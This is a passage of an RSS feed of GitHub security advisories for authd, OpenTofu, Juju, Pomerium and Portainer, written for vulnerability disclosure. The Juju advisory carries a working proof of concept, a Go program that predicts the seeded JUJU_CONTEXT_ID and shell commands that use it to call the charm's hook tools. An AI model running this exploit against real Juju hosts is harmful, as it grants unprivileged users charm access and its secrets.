        &lt;p&gt;See for example: &lt;a href=&quot;https://asciinema.org/a/VIcjpDImomaGu0wxsJJxNdmlf&quot; rel=&quot;nofollow&quot;&gt;https://asciinema.org/a/VIcjpDImomaGu0wxsJJxNdmlf&lt;/a&gt; or &lt;a href=&quot;https://asciinema.org/a/CV3D1gaEhn2yclqSMKCnifYPo&quot; rel=&quot;nofollow&quot;&gt;https://asciinema.org/a/CV3D1gaEhn2yclqSMKCnifYPo&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;Basically it’s possible to logging in as &lt;code class=&quot;notranslate&quot;&gt;user1&lt;/code&gt; using the credentials of &lt;code class=&quot;notranslate&quot;&gt;user2&lt;/code&gt; or &lt;code class=&quot;notranslate&quot;&gt;user3&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;The issue doesn’t affect login or passwd, but it does affect &lt;code class=&quot;notranslate&quot;&gt;su&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;sshd&lt;/code&gt;, since in both cases they don’t check if the &lt;code class=&quot;notranslate&quot;&gt;PAM_USER&lt;/code&gt; changed before the final authentication.&lt;/p&gt;
        &lt;p&gt;Now, while those tools should likely be fixed to only read the PAM_USER once pam gave them the final ok, I think authd should not allow changing the user at all when it has been provided by PAM.&lt;/p&gt;
        &lt;/details&gt;
        ### References
        - https://github.com/ubuntu/authd/security/advisories/&lt;a title=&quot;GHSA-x5q3-c8rm-w787&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-x5q3-c8rm-w787/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-x5q3-c8rm-w787&quot;&gt;GHSA-x5q3-c8rm-w787&lt;/a&gt;
        - https://nvd.nist.gov/vuln/detail/&lt;a title=&quot;CVE-2024-9313&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-x5q3-c8rm-w787/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-x5q3-c8rm-w787&quot;&gt;CVE-2024-9313&lt;/a&gt;
        - https://github.com/ubuntu/authd/commit/63e527496b013bed46904c1c58be593c13ebdce5
        - https://www.cve.org/CVERecord?id=&lt;a title=&quot;CVE-2024-9313&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-x5q3-c8rm-w787/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-x5q3-c8rm-w787&quot;&gt;CVE-2024-9313&lt;/a&gt;
      </description>
      <link>https://github.com/advisories/GHSA-x5q3-c8rm-w787</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-x5q3-c8rm-w787</guid>
      <pubDate>Thu, 03 Oct 2024 16:53:07 GMT</pubDate>
    </item>
    <item>
      <title>OpenTofu potential leaking of secret variable values when using static evaluation in v1.8</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users who have opted into static evaluation of module sources, versions, and backend configurations may be at risk of exposing sensitive variables and locals. This is a workflow that should not be possible and explicitly show errors.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Check that you are not using sensitive variables in module sources and versions, as well as backend configurations. The patch will add explicit errors and prevent this from being possible.&lt;/p&gt;
        &lt;h3&gt;Examples&lt;/h3&gt;
        &lt;div class=&quot;highlight highlight-source-hcl&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;&quot;backend_path&quot;&lt;/span&gt; {
        &lt;span class=&quot;pl-v&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;string&lt;/span&gt;
        &lt;span class=&quot;pl-v&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;sensitive&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;
        }
        &lt;span class=&quot;pl-en&quot;&gt;terraform&lt;/span&gt; {
        &lt;span class=&quot;pl-en&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;&quot;local&quot;&lt;/span&gt; {
        &lt;span class=&quot;pl-v&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;/span&gt;var&lt;span class=&quot;pl-k&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;backend_path&lt;/span&gt;
        }
        }&lt;/pre&gt;&lt;/div&gt;
        &lt;div class=&quot;highlight highlight-source-hcl&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-en&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;&quot;mod_info&quot;&lt;/span&gt; {
        &lt;span class=&quot;pl-v&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;string&lt;/span&gt;
        &lt;span class=&quot;pl-v&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;sensitive&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;
        }
        &lt;span class=&quot;pl-en&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;&quot;foo&quot;&lt;/span&gt; {
        &lt;span class=&quot;pl-v&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;=&lt;/span&gt; &lt;/span&gt;var&lt;span class=&quot;pl-k&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;mod_info&lt;/span&gt;
        &lt;span class=&quot;pl-c&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;//&lt;/span&gt;version = var.mod_info&lt;span class=&quot;pl-c&quot;&gt;&lt;/span&gt;&lt;/span&gt;
        }&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-wpr2-j6gr-pjw9&quot; href=&quot;https://github.com/opentofu/opentofu/security/advisories/GHSA-wpr2-j6gr-pjw9&quot;&gt;GHSA-wpr2-j6gr-pjw9&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-wpr2-j6gr-pjw9</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-wpr2-j6gr-pjw9</guid>
      <pubDate>Thu, 03 Oct 2024 16:51:50 GMT</pubDate>
    </item>
    <item>
      <title>JUJU_CONTEXT_ID is a predictable authentication secret</title>
      <description>&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;JUJU_CONTEXT_ID&lt;/code&gt; is the authentication measure on the unit hook tool abstract domain socket. It looks like &lt;code class=&quot;notranslate&quot;&gt;JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;This value looks fairly unpredictable, but due to the random source used, it is highly predictable.&lt;/p&gt;
        &lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;JUJU_CONTEXT_ID&lt;/code&gt; has the following components:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;the application name&lt;/li&gt;
        &lt;li&gt;the unit number&lt;/li&gt;
        &lt;li&gt;the hook being currently run&lt;/li&gt;
        &lt;li&gt;a uint63 decimal number&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;On a system the application name and unit number can be deduced by reading the structure of the filesystem.&lt;br&gt;
        The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.&lt;br&gt;
        Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.&lt;/p&gt;
        &lt;p&gt;There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).&lt;/p&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Patch: &lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7/hovercard&quot; href=&quot;https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7&quot;&gt;juju/juju@&lt;tt&gt;ecd7e2d&lt;/tt&gt;&lt;/a&gt;&lt;br&gt;
        Patched in:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;3.5.4&lt;/li&gt;
        &lt;li&gt;3.4.6&lt;/li&gt;
        &lt;li&gt;3.3.7&lt;/li&gt;
        &lt;li&gt;3.1.10&lt;/li&gt;
        &lt;li&gt;2.9.51&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;No workaround. Upgrade will be required.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152&quot;&gt;https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152&lt;/a&gt;&lt;br&gt;
        &lt;a href=&quot;https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164&quot;&gt;https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164&lt;/a&gt;&lt;/p&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;p&gt;With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;.
        |-- hooks
        | `-- install
        #!/bin/sh
        sleep 10000
        |-- manifest.yaml
        bases:
        - name: ubuntu
        channel: 22.04/stable
        architectures:
        - amd64
        |-- metadata.yaml
        name: sleepy
        summary: a sleepy charm
        description: a sleepy charm that sleeps on install
        `-- revision
        1
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;With sleepy deployed into a model, we have a unit with the name &lt;code class=&quot;notranslate&quot;&gt;sleepy/0&lt;/code&gt; and an tag of &lt;code class=&quot;notranslate&quot;&gt;unit-sleepy-0&lt;/code&gt;.&lt;/p&gt;
        &lt;p&gt;With access to the log file we can very quickly get the start time of the unit:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep &#39;unit &quot;sleepy/0&quot; started&#39;
        2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit &quot;sleepy/0&quot; started
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;If we don&#39;t have access to the log, we could get pretty close by trying every second between when log file was created and now:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
        cat: unit-sleepy-0.log: Permission denied
        nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
        File: unit-sleepy-0.log
        Size: 1403 Blocks: 8 IO Block: 4096 regular file
        Device: 10302h/66306dInode: 25967076 Links: 1
        Access: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)
        Access: 2024-08-06 05:10:48.686975042 +0000
        Modify: 2024-08-06 05:10:07.159133215 +0000
        Change: 2024-08-06 05:10:07.159133215 +0000
        Birth: 2024-08-06 05:10:06.965129276 +0000
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;We can then pass that into this program:&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;package main
        import (
        &quot;flag&quot;
        &quot;fmt&quot;
        &quot;math/rand&quot;
        &quot;time&quot;
        )
        func main() {
        var unitName string
        var unitStartLogTime string
        var currentHook string
        flag.StringVar(&amp;amp;unitName, &quot;u&quot;, &quot;sleepy/0&quot;, &quot;&quot;)
        flag.StringVar(&amp;amp;unitStartLogTime, &quot;t&quot;, &quot;2024-08-06 05:10:07&quot;, &quot;time when the last &#39;INFO juju.worker.uniter uniter.go:363 unit %q started&#39; log was written to /var/log/juju/unit-name-0.log&quot;)
        flag.StringVar(&amp;amp;currentHook, &quot;h&quot;, &quot;install&quot;, &quot;the current hook that is running right now&quot;)
        flag.Parse()
        t, err := time.Parse(&quot;2006-01-02 15:04:05&quot;, unitStartLogTime)
        if err != nil {
        panic(err)
        }
        sources := []rand.Source{
        rand.NewSource(t.Unix()),
        rand.NewSource(t.Unix() - 1),
        rand.NewSource(t.Unix() - 2),
        }
        for i := 0; i &amp;lt; 10; i++ {
        for _, source := range sources {
        fmt.Printf(&quot;%s-%s-%d\n&quot;, unitName, currentHook, source.Int63())
        }
        }
        }
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;This program will give us a list of &lt;code class=&quot;notranslate&quot;&gt;JUJU_CONTEXT_ID&lt;/code&gt;s to try. We just need to try each one. In this case it was the first one, because we had enough information.&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;$ go run . -u sleepy/0 -t &quot;2024-08-06 05:10:07&quot; -h install
        sleepy/0-install-7349430268617352851
        sleepy/0-install-2171542415131519293
        sleepy/0-install-6564961386023494624
        sleepy/0-install-59904244413115609
        sleepy/0-install-6073989428498739633
        sleepy/0-install-2504995199508561544
        sleepy/0-install-1526670560532335303
        sleepy/0-install-2568216045630615950
        sleepy/0-install-8047402353801897930
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;Unfortunately, this worked too well.&lt;/p&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
        True
        &lt;/code&gt;&lt;/pre&gt;
        &lt;p&gt;With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-mh98-763h-m9v4&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4&quot;&gt;GHSA-mh98-763h-m9v4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-7558&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-7558&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7/hovercard&quot; href=&quot;https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7&quot;&gt;juju/juju@&lt;tt&gt;ecd7e2d&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mh98-763h-m9v4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mh98-763h-m9v4</guid>
      <pubDate>Thu, 03 Oct 2024 16:49:58 GMT</pubDate>
    </item>
    <item>
      <title>Pomerium service account access token may grant unintended access to databroker API</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;We&#39;ve identified a vulnerability in the Pomerium databroker service API that may grant unintended access under specific conditions. This affects only certain Pomerium Zero and Pomerium Enterprise deployments.&lt;/p&gt;
        &lt;h4&gt;Who is affected?&lt;/h4&gt;
        &lt;p&gt;A Pomerium deployment is susceptible to this issue if &lt;em&gt;all&lt;/em&gt; of the following conditions are met:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;You have issued a &lt;a href=&quot;https://www.pomerium.com/docs/capabilities/service-accounts&quot; rel=&quot;nofollow&quot;&gt;service account&lt;/a&gt; access token using Pomerium Zero or Pomerium Enterprise.&lt;/li&gt;
        &lt;li&gt;The access token has an explicit expiration date in the future.&lt;/li&gt;
        &lt;li&gt;The core Pomerium databroker gRPC API is not otherwise secured by network access controls.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;If your deployment does not meet &lt;em&gt;all&lt;/em&gt; of these conditions, you are not affected by this vulnerability.&lt;/p&gt;
        &lt;h4&gt;Details&lt;/h4&gt;
        &lt;p&gt;The Pomerium databroker service is responsible for managing all persistent Pomerium application state. Requests to the databroker service API are authorized by the presence of a JSON Web Token (JWT) signed by a key known by all Pomerium services in the same deployment. However, incomplete validation of this JWT meant that some service account access tokens would incorrectly be treated as valid for the purpose of databroker API authorization.&lt;/p&gt;
        &lt;p&gt;Improper access to the databroker API could allow exfiltration of user info, spoofing of user sessions, or tampering with Pomerium routes, policies, and other settings.&lt;/p&gt;
        &lt;h4&gt;Discovery&lt;/h4&gt;
        &lt;p&gt;This issue was discovered during internal review. At this time we have no evidence to suggest that this vulnerability has been exploited in the wild.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;We have released &lt;a href=&quot;https://github.com/pomerium/pomerium/releases/tag/v0.27.1&quot;&gt;Pomerium v0.27.1&lt;/a&gt; which includes a fix for the JWT validation logic. All affected users are strongly encouraged to upgrade to this version.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;If you cannot upgrade immediately, consider the following mitigations:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;
        &lt;p&gt;Network access controls: Restrict access to the Pomerium internal gRPC API by configuring your network firewall or security groups to limit access to trusted sources only. Ensure that the port specified in the &lt;a href=&quot;https://www.pomerium.com/docs/reference/grpc#grpc-address&quot; rel=&quot;nofollow&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;grpc_address&lt;/code&gt;&lt;/a&gt; setting is not exposed to unauthorized networks.&lt;/p&gt;
        &lt;/li&gt;
        &lt;li&gt;
        &lt;p&gt;&lt;em&gt;For Pomerium Zero deployments only:&lt;/em&gt; As of Pomerium v0.26.0, you can disable the gRPC API listener by setting &lt;code class=&quot;notranslate&quot;&gt;grpc_address: &quot;&quot;&lt;/code&gt; in your YAML configuration file. In all-in-one mode, Pomerium does not require the internal gRPC API to be exposed beyond localhost.&lt;/p&gt;
        &lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;For more information&lt;/h3&gt;
        &lt;p&gt;If you have questions or need further assistance:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;Open an issue in the &lt;a href=&quot;https://github.com/pomerium/pomerium/issues&quot;&gt;pomerium/pomerium&lt;/a&gt; repository.&lt;/li&gt;
        &lt;li&gt;Contact us at &lt;a href=&quot;mailto:security@pomerium.com&quot;&gt;security@pomerium.com&lt;/a&gt;.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-r7rh-jww5-5fjr&quot; href=&quot;https://github.com/pomerium/pomerium/security/advisories/GHSA-r7rh-jww5-5fjr&quot;&gt;GHSA-r7rh-jww5-5fjr&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/pomerium/pomerium/commit/e018cf0fc0979d2abe25ff705db019feb7523444/hovercard&quot; href=&quot;https://github.com/pomerium/pomerium/commit/e018cf0fc0979d2abe25ff705db019feb7523444&quot;&gt;pomerium/pomerium@&lt;tt&gt;e018cf0&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pomerium/pomerium/releases/tag/v0.27.1&quot;&gt;https://github.com/pomerium/pomerium/releases/tag/v0.27.1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-47616&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-47616&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-r7rh-jww5-5fjr</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-r7rh-jww5-5fjr</guid>
      <pubDate>Wed, 02 Oct 2024 21:33:11 GMT</pubDate>
    </item>
    <item>
      <title>Duplicate Advisory: Juju makes Use of Weak Credentials</title>
      <description>&lt;h2&gt;Duplicate Advisory&lt;/h2&gt;
        &lt;p&gt;This advisory has been withdrawn because it is a duplicate of &lt;a title=&quot;GHSA-mh98-763h-m9v4&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-mh98-763h-m9v4/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-mh98-763h-m9v4&quot;&gt;GHSA-mh98-763h-m9v4&lt;/a&gt;. This link is maintained to preserve external references.&lt;/p&gt;
        &lt;h2&gt;Original Description&lt;/h2&gt;
        &lt;p&gt;JUJU_CONTEXT_ID is a predictable authentication secret. On a Juju machine (non-Kubernetes) or Juju charm container (on Kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the Juju charm.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-mh98-763h-m9v4&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4&quot;&gt;GHSA-mh98-763h-m9v4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-7558&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-7558&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-7558&quot; rel=&quot;nofollow&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2024-7558&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-phh4-3hmm-24rx</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-phh4-3hmm-24rx</guid>
      <pubDate>Wed, 02 Oct 2024 12:30:33 GMT</pubDate>
    </item>
    <item>
      <title>Duplicate Advisory: Vulnerable juju hook tool abstract UNIX domain socket</title>
      <description>&lt;h2&gt;Duplicate Advisory&lt;/h2&gt;
        &lt;p&gt;This advisory has been withdrawn because it is a duplicate of &lt;a title=&quot;GHSA-8v4w-f4r9-7h6x&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-8v4w-f4r9-7h6x/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-8v4w-f4r9-7h6x&quot;&gt;GHSA-8v4w-f4r9-7h6x&lt;/a&gt;. This link is maintained to preserve external references.&lt;/p&gt;
        &lt;h2&gt;Original Description&lt;/h2&gt;
        &lt;p&gt;Vulnerable juju hook tool abstract UNIX domain socket. When combined with an attack of JUJU_CONTEXT_ID, any user on the local system with access to the default network namespace may connect to the @/var/lib/juju/agents/unit-xxxx-yyyy/agent.socket and perform actions that are normally reserved to a juju charm.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-8v4w-f4r9-7h6x&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-8v4w-f4r9-7h6x&quot;&gt;GHSA-8v4w-f4r9-7h6x&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8037&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8037&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-8037&quot; rel=&quot;nofollow&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2024-8037&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-fc27-7pf5-96v3</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-fc27-7pf5-96v3</guid>
      <pubDate>Wed, 02 Oct 2024 12:30:33 GMT</pubDate>
    </item>
    <item>
      <title>Duplicate Advisory: Juju Unprotected Alternate Channel vulnerability</title>
      <description>&lt;h2&gt;Duplicate Advisory&lt;/h2&gt;
        &lt;p&gt;This advisory has been withdrawn because it is a duplicate of &lt;a title=&quot;GHSA-xwgj-vpm9-q2rq&quot; data-hovercard-type=&quot;advisory&quot; data-hovercard-url=&quot;/advisories/GHSA-xwgj-vpm9-q2rq/hovercard&quot; href=&quot;https://github.com/advisories/GHSA-xwgj-vpm9-q2rq&quot;&gt;GHSA-xwgj-vpm9-q2rq&lt;/a&gt;. This link is maintained to preserve external references.&lt;/p&gt;
        &lt;h2&gt;Original Description&lt;/h2&gt;
        &lt;p&gt;Vulnerable juju introspection abstract UNIX domain socket. An abstract UNIX domain socket responsible for introspection is available without authentication locally to network namespace users. This enables denial of service attacks.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-xwgj-vpm9-q2rq&quot; href=&quot;https://github.com/juju/juju/security/advisories/GHSA-xwgj-vpm9-q2rq&quot;&gt;GHSA-xwgj-vpm9-q2rq&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8038&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8038&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-8038&quot; rel=&quot;nofollow&quot;&gt;https://www.cve.org/CVERecord?id=CVE-2024-8038&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-85qf-6845-m8p2</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-85qf-6845-m8p2</guid>
      <pubDate>Wed, 02 Oct 2024 12:30:33 GMT</pubDate>
    </item>
    <item>
      <title>Portainer improperly uses an encryption algorithm in the AesEncrypt function</title>
      <description>&lt;p&gt;Portainer before 2.20.2 improperly uses an encryption algorithm in the &lt;code class=&quot;notranslate&quot;&gt;AesEncrypt&lt;/code&gt; function.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-33662&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-33662&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2271053598&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/portainer/portainer/issues/11737&quot; data-hovercard-type=&quot;issue&quot; data-hovercard-url=&quot;/portainer/portainer/issues/11737/hovercard&quot; href=&quot;https://github.com/portainer/portainer/issues/11737&quot;&gt;portainer/portainer#11737&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; href=&quot;https://github.com/portainer/portainer/compare/2.20.1...2.20.2&quot;&gt;portainer/portainer@&lt;tt&gt;2.20.1...2.20.2&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.portainer.io/&quot; rel=&quot;nofollow&quot;&gt;https://www.portainer.io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/search?q=repo%3Aportainer%2Fportainer+EE-6764&amp;amp;type=pullrequests&quot;&gt;https://github.com/search?q=repo%3Aportainer%2Fportainer+EE-6764&amp;amp;type=pullrequests&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9mjw-79r6-c9m8</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9mjw-79r6-c9m8</guid>
